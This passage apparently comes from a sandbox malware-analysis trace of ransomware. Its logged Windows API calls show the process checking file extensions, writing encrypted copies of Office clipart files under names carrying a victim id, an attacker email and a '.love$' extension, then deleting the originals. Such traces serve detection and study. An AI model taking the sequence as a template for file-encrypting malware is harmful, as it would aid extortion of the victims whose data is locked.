Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0272.554] lstrlenW (lpString=".jpg") returned 4 [0272.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.554] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0272.554] lstrlenW (lpString="J0102984.WMF") returned 12 [0272.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0272.555] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=17040) returned 1 [0272.555] CloseHandle (hObject=0x47c) returned 1 [0272.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 0x220 [0272.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0272.557] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.557] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0272.559] GetLastError () returned 0x0 [0272.559] ReadFile (in: hFile=0x47c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x4290, lpOverlapped=0x0) returned 1 [0272.562] WriteFile (in: hFile=0x4ac, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x42a0, lpOverlapped=0x0) returned 1 [0272.564] ReadFile (in: hFile=0x47c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0272.564] WriteFile (in: hFile=0x4ac, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0272.565] SetEndOfFile (hFile=0x4ac) returned 1 [0272.565] CloseHandle (hObject=0x4ac) returned 1 [0272.565] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.565] SetEndOfFile (hFile=0x47c) returned 1 [0272.571] CloseHandle (hObject=0x47c) returned 1 [0272.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 1 [0272.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0272.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0272.825] lstrlenW (lpString=".doc") returned 4 [0272.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.825] lstrlenW (lpString=".docx") returned 5 [0272.825] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0272.825] lstrlenW (lpString=".pdf") returned 4 [0272.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.825] lstrlenW (lpString=".xls") returned 4 [0272.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.825] lstrlenW (lpString=".xlsx") returned 5 [0272.825] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0272.825] lstrlenW (lpString=".ppt") returned 4 [0272.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0272.825] lstrlenW (lpString=".zip") returned 4 [0272.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.825] lstrlenW (lpString=".rar") returned 4 [0272.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.825] lstrlenW (lpString=".bz2") returned 4 [0272.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.825] lstrlenW (lpString=".7z") returned 3 [0272.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0272.825] lstrlenW (lpString=".dbf") returned 4 [0272.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0272.826] lstrlenW (lpString=".1cd") returned 4 [0272.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0272.826] lstrlenW (lpString=".jpg") returned 4 [0272.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0272.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0272.826] lstrlenW (lpString=".doc") returned 4 [0272.826] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.826] lstrlenW (lpString=".docx") returned 5 [0272.826] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0272.826] lstrlenW (lpString=".pdf") returned 4 [0272.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.826] lstrlenW (lpString=".xls") returned 4 [0272.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.826] lstrlenW (lpString=".xlsx") returned 5 [0272.826] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0272.826] lstrlenW (lpString=".ppt") returned 4 [0272.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0272.826] lstrlenW (lpString=".zip") returned 4 [0272.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.827] lstrlenW (lpString=".rar") returned 4 [0272.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.827] lstrlenW (lpString=".bz2") returned 4 [0272.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.827] lstrlenW (lpString=".7z") returned 3 [0272.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0272.827] lstrlenW (lpString=".dbf") returned 4 [0272.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0272.827] lstrlenW (lpString=".1cd") returned 4 [0272.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0272.827] lstrlenW (lpString=".jpg") returned 4 [0272.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.827] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0272.827] lstrlenW (lpString="J0103262.WMF") returned 12 [0272.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0272.889] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=12900) returned 1 [0272.889] CloseHandle (hObject=0x418) returned 1 [0272.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 0x220 [0273.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0273.391] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.391] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0273.394] GetLastError () returned 0x0 [0273.394] ReadFile (in: hFile=0x574, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x3264, lpOverlapped=0x0) returned 1 [0273.409] WriteFile (in: hFile=0x488, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x3270, lpOverlapped=0x0) returned 1 [0273.411] ReadFile (in: hFile=0x574, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0273.411] WriteFile (in: hFile=0x488, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0273.411] SetEndOfFile (hFile=0x488) returned 1 [0273.411] CloseHandle (hObject=0x488) returned 1 [0273.411] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.412] SetEndOfFile (hFile=0x574) returned 1 [0273.415] CloseHandle (hObject=0x574) returned 1 [0273.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 1 [0273.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0273.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0273.417] lstrlenW (lpString=".doc") returned 4 [0273.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.417] lstrlenW (lpString=".docx") returned 5 [0273.417] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0273.417] lstrlenW (lpString=".pdf") returned 4 [0273.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.417] lstrlenW (lpString=".xls") returned 4 [0273.417] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.417] lstrlenW (lpString=".xlsx") returned 5 [0273.417] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0273.417] lstrlenW (lpString=".ppt") returned 4 [0273.417] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0273.417] lstrlenW (lpString=".zip") returned 4 [0273.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.418] lstrlenW (lpString=".rar") returned 4 [0273.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.418] lstrlenW (lpString=".bz2") returned 4 [0273.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.418] lstrlenW (lpString=".7z") returned 3 [0273.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0273.418] lstrlenW (lpString=".dbf") returned 4 [0273.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0273.418] lstrlenW (lpString=".1cd") returned 4 [0273.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0273.418] lstrlenW (lpString=".jpg") returned 4 [0273.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0273.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0273.418] lstrlenW (lpString=".doc") returned 4 [0273.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.418] lstrlenW (lpString=".docx") returned 5 [0273.418] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0273.418] lstrlenW (lpString=".pdf") returned 4 [0273.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.418] lstrlenW (lpString=".xls") returned 4 [0273.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.418] lstrlenW (lpString=".xlsx") returned 5 [0273.419] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0273.419] lstrlenW (lpString=".ppt") returned 4 [0273.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0273.419] lstrlenW (lpString=".zip") returned 4 [0273.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.419] lstrlenW (lpString=".rar") returned 4 [0273.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.419] lstrlenW (lpString=".bz2") returned 4 [0273.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.419] lstrlenW (lpString=".7z") returned 3 [0273.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0273.419] lstrlenW (lpString=".dbf") returned 4 [0273.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0273.419] lstrlenW (lpString=".1cd") returned 4 [0273.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0273.419] lstrlenW (lpString=".jpg") returned 4 [0273.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.419] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0273.419] lstrlenW (lpString="J0105244.WMF") returned 12 [0273.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0273.421] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=11228) returned 1 [0273.421] CloseHandle (hObject=0x574) returned 1 [0273.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 0x220 [0273.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0273.422] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.422] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0273.424] GetLastError () returned 0x0 [0273.424] ReadFile (in: hFile=0x574, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x2bdc, lpOverlapped=0x0) returned 1 [0273.444] WriteFile (in: hFile=0x488, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x2be0, lpOverlapped=0x0) returned 1 [0273.446] ReadFile (in: hFile=0x574, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0273.446] WriteFile (in: hFile=0x488, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0273.446] SetEndOfFile (hFile=0x488) returned 1 [0273.446] CloseHandle (hObject=0x488) returned 1 [0273.446] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.446] SetEndOfFile (hFile=0x574) returned 1 [0273.450] CloseHandle (hObject=0x574) returned 1 [0273.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 1 [0273.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0273.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0273.453] lstrlenW (lpString=".doc") returned 4 [0273.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.453] lstrlenW (lpString=".docx") returned 5 [0273.453] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0273.453] lstrlenW (lpString=".pdf") returned 4 [0273.453] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.453] lstrlenW (lpString=".xls") returned 4 [0273.453] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.453] lstrlenW (lpString=".xlsx") returned 5 [0273.453] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0273.453] lstrlenW (lpString=".ppt") returned 4 [0273.453] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0273.453] lstrlenW (lpString=".zip") returned 4 [0273.453] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.453] lstrlenW (lpString=".rar") returned 4 [0273.453] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.453] lstrlenW (lpString=".bz2") returned 4 [0273.453] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.453] lstrlenW (lpString=".7z") returned 3 [0273.453] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0273.453] lstrlenW (lpString=".dbf") returned 4 [0273.453] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0273.453] lstrlenW (lpString=".1cd") returned 4 [0273.453] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0273.453] lstrlenW (lpString=".jpg") returned 4 [0273.454] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0273.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0273.454] lstrlenW (lpString=".doc") returned 4 [0273.454] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.454] lstrlenW (lpString=".docx") returned 5 [0273.454] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0273.454] lstrlenW (lpString=".pdf") returned 4 [0273.454] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.454] lstrlenW (lpString=".xls") returned 4 [0273.454] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.454] lstrlenW (lpString=".xlsx") returned 5 [0273.454] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0273.454] lstrlenW (lpString=".ppt") returned 4 [0273.454] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0273.454] lstrlenW (lpString=".zip") returned 4 [0273.454] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.454] lstrlenW (lpString=".rar") returned 4 [0273.454] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.454] lstrlenW (lpString=".bz2") returned 4 [0273.454] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.454] lstrlenW (lpString=".7z") returned 3 [0273.454] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0273.454] lstrlenW (lpString=".dbf") returned 4 [0273.454] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0273.455] lstrlenW (lpString=".1cd") returned 4 [0273.455] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0273.455] lstrlenW (lpString=".jpg") returned 4 [0273.455] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.455] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0273.455] lstrlenW (lpString="J0105250.WMF") returned 12 [0273.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0273.493] GetFileSizeEx (in: hFile=0x488, 